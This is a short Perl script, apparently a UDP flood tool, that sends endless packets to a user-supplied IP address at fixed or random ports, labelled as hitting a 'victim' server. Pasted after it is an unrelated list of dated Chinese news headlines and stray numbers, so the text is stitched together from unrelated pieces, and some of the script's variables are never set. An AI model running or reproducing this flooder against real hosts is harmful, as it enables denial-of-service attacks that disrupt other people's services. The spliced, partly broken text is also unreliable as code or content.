#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0 <ip> <port> <time>\n";
 printf "if arg1/2 =0, randports/continous packets.\n";
 exit(1);
}

my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1];
 $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "Slashing SirVic's server on victim...\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 x) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
  • 世界电动车市场中国占据半壁江山 超过欧日美总和 2019-03-16
  • 2018高考今日鸣锣 分享作家们的高考故事:莫言曾说它"很坏" 2019-03-16
  • 合成作战,营连长“无差别”竞技练指挥 2019-03-11
  • 珠海举行军民两用技术应用推广对接会 2019-03-10
  • 香港试水“智慧银行” 2019-03-10
  • 嫦娥四号任务中继星成功发射 将搭建地月“鹊桥” 2019-03-08
  • 《习近平新闻思想讲义(2018年版)》出版发行 2019-03-08
  • 在这个论坛上对你所述的领会最深的非先生自己莫属了,你不必谦虚啊!哈哈! 2019-01-22
  • 【世界杯】B组:葡萄牙队3比3战平西班牙队 2018-12-02
  • 张北元中都国家考古遗址公园挂牌(图) 2018-11-28
  • 全国人大常委会2015年立法回眸 2018-11-28
  • 5月份国民经济数据发布:中国经济持续稳中向好 2018-08-13
  • 赖传珠:曾率军“集体强渡”解放海南岛 留下25年的战地日记 2018-08-10
  • 90后“技术宅”开黄色网站 半年非法牟利17万 2018-08-10
  • 180| 770| 378| 492| 144| 316| 701| 377| 348| 128|